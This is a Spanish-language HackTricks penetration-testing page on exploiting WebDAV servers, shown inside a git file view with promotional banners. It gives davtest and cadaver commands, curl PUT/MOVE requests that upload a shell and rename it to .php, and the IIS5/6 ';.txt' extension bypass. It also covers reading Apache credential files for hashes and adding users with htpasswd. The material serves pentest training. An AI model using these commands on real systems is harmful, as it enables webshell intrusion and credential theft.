hacktricks/network-services-pentesting/pentesting-web/put-method-webdav.md

130 lines
7.4 KiB
Markdown
Raw Normal View History

2023-06-05 18:33:24 +00:00
# WebDav
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2023-06-05 18:33:24 +00:00
\
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
Obtenga acceso hoy:
2023-06-05 18:33:24 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Aprenda hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2023-06-05 18:33:24 +00:00
Otras formas de apoyar a HackTricks:
* Si desea ver su **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtenga [**artículos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únase al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síganos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparta sus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2023-06-05 18:33:24 +00:00
</details>
Al tratar con un **Servidor HTTP con WebDav** habilitado, es posible **manipular archivos** si se tienen las **credenciales correctas**, generalmente verificadas a través de **Autenticación Básica HTTP**. Obtener control sobre dicho servidor a menudo implica la **carga y ejecución de un webshell**.
2023-06-05 18:33:24 +00:00
El acceso al servidor WebDav generalmente requiere **credenciales válidas**, siendo el [**bruteforce de WebDav**](../../generic-methodologies-and-resources/brute-force.md#http-basic-auth) un método común para adquirirlas.
2023-06-05 18:33:24 +00:00
Para superar las restricciones en las cargas de archivos, especialmente aquellas que impiden la ejecución de scripts en el servidor, podrías:
2023-06-05 18:33:24 +00:00
- **Cargar** archivos con **extensiones ejecutables** directamente si no están restringidos.
- **Renombrar** archivos no ejecutables cargados (como .txt) a una extensión ejecutable.
- **Copiar** archivos no ejecutables cargados, cambiando su extensión a una que sea ejecutable.
2023-06-05 18:33:24 +00:00
## DavTest
**Davtest** intenta **cargar varios archivos con diferentes extensiones** y **verifica** si la extensión es **ejecutada**:
2023-06-05 18:33:24 +00:00
```bash
davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions
davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension
```
## Cadaver
Puedes usar esta herramienta para **conectarte al servidor WebDav** y realizar acciones (como **subir**, **mover** o **eliminar**) **manualmente**.
¡Esto no significa que las extensiones **.txt** y **.html se estén ejecutando**! Esto significa que puedes **acceder a estos archivos** a través de la web.
![](<../../.gitbook/assets/image (19) (1).png>)
2023-06-05 18:33:24 +00:00
```
cadaver <IP>
```
## Solicitud PUT
2023-06-05 18:33:24 +00:00
```
curl -T 'shell.txt' 'http://$ip'
```
## Solicitud MOVE
2023-06-05 18:33:24 +00:00
```
curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
```
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2023-06-05 18:33:24 +00:00
\
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
Obtenga acceso hoy:
2023-06-05 18:33:24 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Vulnerabilidad WebDav en IIS5/6
2023-06-05 18:33:24 +00:00
Esta vulnerabilidad es muy interesante. El **WebDav** **no permite** **subir** o **renombrar** archivos con la extensión **.asp**. Pero puedes **burlar** esto **agregando** al final del nombre **";.txt"** y el archivo se **ejecutará** como si fuera un archivo .asp (también puedes **usar ".html" en lugar de ".txt"** pero **NO olvides el ";"**).
2023-06-05 18:33:24 +00:00
Luego puedes **subir** tu shell como un archivo ".**txt"** y **copiar/moverlo a un archivo ".asp;.txt"**. Al acceder a ese archivo a través del servidor web, se **ejecutará** (cadaver dirá que la acción de mover no funcionó, pero sí lo hizo).
2023-06-05 18:33:24 +00:00
![](<../../.gitbook/assets/image (18) (1) (1).png>)
## Credenciales posteriores
2023-06-05 18:33:24 +00:00
Si el Webdav estaba utilizando un servidor Apache, deberías revisar los sitios configurados en Apache. Comúnmente:\
2023-06-05 18:33:24 +00:00
_**/etc/apache2/sites-enabled/000-default**_
Dentro de él podrías encontrar algo como:
```
2023-06-05 18:33:24 +00:00
ServerAdmin webmaster@localhost
Alias /webdav /var/www/webdav
<Directory /var/www/webdav>
DAV On
AuthType Digest
AuthName "webdav"
AuthUserFile /etc/apache2/users.password
Require valid-user
2023-06-05 18:33:24 +00:00
```
Como puedes ver, aquí están los archivos con las **credenciales** válidas para el servidor **webdav**:
2023-06-05 18:33:24 +00:00
```
/etc/apache2/users.password
```
Dentro de este tipo de archivos encontrarás el **nombre de usuario** y un **hash** de la contraseña. Estas son las credenciales que el servidor webdav está utilizando para autenticar a los usuarios.
2023-06-05 18:33:24 +00:00
Puedes intentar **descifrar**las, o **agregar más** si por alguna razón deseas **acceder** al servidor **webdav**:
2023-06-05 18:33:24 +00:00
```bash
htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password
```
Para verificar si las nuevas credenciales funcionan, puedes hacer lo siguiente:
2023-06-05 18:33:24 +00:00
```bash
wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q
```
## Referencias
* [https://vk9-sec.com/exploiting-webdav/](https://vk9-sec.com/exploiting-webdav/)
2023-06-05 18:33:24 +00:00
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
2023-06-05 18:33:24 +00:00
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
2023-06-05 18:33:24 +00:00
</details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2023-06-05 18:33:24 +00:00
\
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\
¡Accede hoy mismo:
2023-06-05 18:33:24 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}